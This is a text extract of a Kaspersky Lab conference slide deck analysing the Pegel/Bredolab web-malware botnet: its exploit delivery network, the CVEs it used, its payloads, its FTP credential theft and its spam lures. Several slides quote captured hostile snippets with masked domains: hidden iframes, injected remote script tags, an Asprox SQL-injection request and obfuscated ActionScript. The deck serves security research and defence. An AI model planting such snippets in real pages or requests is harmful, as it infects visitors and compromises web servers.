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• Became widespread about a year ago

• Characteristics of web based malware:

– Propagation through compromised websites

– Bots send spam to infect more computers

Web based malware
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– Bots send spam to infect more computers

– Ftp password stealer



Pegel and Gumblar
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• Pegel is a malicious JavaScript that is inserted into 
web pages on compromised web servers

• Appeared at the very end of 2009

• It is the entry point to the botnet with a complete 
production cycle

What is Pegel
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production cycle

• Behavior is similar to Gumblar



• The one and only functionality of this JavaScript is 
inserting an IFRAME tag that directs the user to the 
“Exploit Delivery Network” of the botnet

• There are many web pages that contain the Iframe tag 
that points to the “same network”

What Pegel does
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<div id=“G88tljvky52tn”>
<iframe
src=http://ma***gh.com:8080/index.php?Mvplkcm435j=11&pid=1
width=“1” frameborder=“0” height=“1”></frame>
</div>



The amount  of Pegel
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Pegel in Spam: June

86393

65887

55447

54456

51679

Trojan.Script.Iframer

Trojan.Win32.Pakes.Katusha.o

Trojan.Win32.Jorik.Oficla.j

Trojan-Spy.HTML.Fraud.gen

Trojan.Win32.Tdss.belr Source: Kaspersky 

Lab

Virus Bulletin Conference 30.09.2010

485003

144239

123469

117648

111628

86393

0 100000 200000 300000 400000 500000 600000

Trojan-Downloader.JS.Pegel.g

Trojan.Win32.Generic

Trojan.JS.Redirector.dz

Trojan-Downloader.JS.Pegel.bc

Trojan.Win32.Tdss.bemg



• All URLs share the port part:

http://domain.com:8080/optional_path 

• The server answering on port 8080 reports as “nginx”, 
a popular web server that is frequently used as a 
reverse proxy server

Exploit Delivery Network

reverse proxy server

• Most of domain names are hosted by 5 IP addresses

• IP addresses change with time

• Servers return legitimate contents on port 80

• Looks like a fast-flux network of compromised web 
servers
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MDAC RDS.Dataspace ActiveX Component 

(CVE-2006-0003)

Adobe Reader

util.printf (CVE-2008-2992)

Collab.collectEmailInfo (CVE-2008-0655)

Exploits delivered
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Collab.collectEmailInfo (CVE-2008-0655)

Collab.getIcon (CVE-2009-0927)

media.newPlayer (CVE-2009-4324)

Java Machine (CVE-2010-0886)

Microsoft Help and Support Center (CVE-2010-1885)
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• If exploits succeed, the victim gets Bredolab from 
another server listening at port 8080

• Uses rootkit technologies

• The primary goal of Bredolab is to download and 
execute new malware offered by it’s C&C servers

Bredolab

execute new malware offered by it’s C&C servers

• There are 3 distinct types of malware that Bredolab
downloads from its C&C:

– Commercial malware (from “partnerkas”)

– SPAM bots

– Password stealing trojan
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Payload delivered

• C&C servers provide Bredolab with a wide variety of malicious 
software:
– Trojan-Spy.Win32.Zbot
– Trojan-Spy.Win32.SpyEyes
– Trojan-Spy.Win32.BZub
– Backdoor.Win32.HareBot
– Backdoor.Win32.Blakken
– Backdoor.Win32.Shiz
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– Backdoor.Win32.Shiz
– Trojan-Dropper.Win32.TDSS
– Trojan-Ransom.Win32.PinkBlocker
– Trojan.Win32.Jorik.Oficla 

• Some of the bots installed by Bredolab reported a “partner id” 
parameter to their own C&C servers. 

• Partner / seller ID parameters are usually used by affiliate 
programs.



Special payload: PSW Stealer

• Trojan-PSW.Win32.Agent.qgg

• Functionality:

– Steals ftp credentials from web sites (searching locally 
stored ftp paswords) 

• Filezilla 3

• Ftp Navigator

• Ftp Explorer

• FlashFXP
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– Sends found passwords back to Pegel/Bredolab C&C in 
order to infect user’s web site

• Ftp Navigator

• BulletProof Ftp

• CuteFtp

• ALFTP

• Far 2

• Frigate 3

• FlashFXP

• FTPRush

• Firefox

• Auto FTP

• Total 
Commander



Infection of a Web Site: Ftp Log

• Stolen FTP credentials are used to infect new web 
servers

• All available index*, default*, main* and *.js files are 
fetched, infected and then uploaded back

• IP addresses of FTP clients that download and upload 
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Tag inserted:
<script type="text/javascript" src="http://add***ock.ru/GUI.js"></script>
<!--50202ec634ac83b7f315e3cf13e30037-->

• IP addresses of FTP clients that download and upload 
the same files may differ



Botnet propagation

Redirectors
Exploit Delivery Network

help***ecare.at
pass***tblues.ru
best***kstar.info
…
and so on

C&C

Stolen 

paswords

Infected 
Website

JavaScript
Password 

Stealer
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Infected legitimate
web site

User’s web/ftp server

index*, 
default*, 
main*, 
*.js

user

Exploit Delivery Network
(compromised servers

with nginx on port 8080)

ExploitsBredolab

Stealer



Asprox

Asprox C&C MS IIS/ASP http://nem****n.ru/
tds/go.php?sid=1
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10 000       per 
day

GET /page.asp?id=425; 
declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c41724520405
4207661526368615228323535292c406320...5205461424c655f435552736f7

220%20as%20varchar(4000));exec(@s);–
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Asprox Bot
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Pegel/Bredola
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OpenX Vulnerability

Fragment of ActionScript code:

User

Pegel/Bredola
b

Vulnerability in Flash Chart 2 Module
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Fragment of ActionScript code:

ExternalInterface.call("new function(){
function _a6c6abfc0437ed3d4c2a9d7d9c15d5bf(){
var _71b9cfdb2309eb27ee69dda6cae35b2a=document.createElement(\"script\");
_71b9cfdb2309eb27ee69dda6cae35b2a.src='http://a***nd.ru/LIFO.js';
_71b9cfdb2309eb27ee69dda6cae35b2a.defer=1;
document.body.appendChild(_71b9cfdb2309eb27ee69dda6cae35b2a);};
try {_a6c6abfc0437ed3d4c2a9d7d9c15d5bf();} 
catch(e){document.write(\"<body>\");setTimeout(function()
{ _a6c6abfc0437ed3d4c2a9d7d9c15d5bf(); }, 500);}; }");

b



Pegel in Spam



Malicious Spam of 2009
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Phishing? Viagra!
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Infection via Spam

Pegel/Bredola
b
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="http://yu***eyes.ru:8080/index.php?pid=10" style="visibility: hidden;

PLEASE WAITING 4 SECOND...

<meta http-equiv="refresh" content="4;url=http://spr***team.com">
</head><body>
<iframe src="http://yu***eyes.ru:8080/index.php?pid=10" style="visibility: hidden;
" height="1" width="1"></iframe>
</body></html>

b



Diversity of spam mails
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Real vs. Forged
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Mistakes

Join my network on LinkedIn
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Jamel Murphy has invited you to open a Google mail 
account



Reply-To: <noreply@postmaster.twitter.com> 

From: "Twitter" <twitter-follow-
dmitry=pashko.ru@postmaster.twitter.com> 

To: <dmitry@pashko.ru> 

Subject: Emma Wilson is now following you on Twitter! 

Forged headers
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Subject: Emma Wilson is now following you on Twitter! 

Date: Sun, 29 Aug 2010 22:39:32 +0400 

Message-ID: <267737980096f 
_1bb41cf60296ea0a03@mx001.twitter.com.tmail>



Gets a 
mail

Clicks on 
the link

Comes to 
a med 

site

How a user gets infected

Trojan-Spy.Win32.Zbot
Trojan-Spy.Win32.SpyEyes
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<meta 
refresh>

Obfuscated 
JS

Exploits

Bredolab
Malware

Trojan-Spy.Win32.SpyEyes
Trojan-Spy.Win32.BZub
Backdoor.Win32.HareBot
Backdoor.Win32.Blakken
Backdoor.Win32.Shiz
Trojan-
Dropper.Win32.TDSS
Trojan-
Ransom.Win32.PinkBlocker
Trojan.Win32.Jorik.Oficla   



How they get money
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Trojans upload 

$$$



• Spreads widely and rapidly

• Highly automated - can support itself

• Effectively hides C&C (2 networks of proxy 
servers)

• Server side polymorphism (obfuscated malicious 

The ideal scheme
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• Server side polymorphism (obfuscated malicious 
Javascript which has become increasingly 
complex)

• Different methods of getting “traffic”

• The use of social engineering



• More ways of getting “traffic”:

� Spam

� Infected sites through stolen ftp-credentials

�Compromised banner engine

�Social networks, Web 2.0, online games, instant 
messengers

Perspectives
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messengers

• Targeting:

�Targeted spam mails

�Targeted attacks: different malware to different IPs

• Great potential

HelpDesk Robot Kaspersky Lab 
Support



Thank you. Questions?

Kaspersky Lab
Alexey Kadiev, Darya Gudkova, Igor Sumenkov

Thank you. Questions?


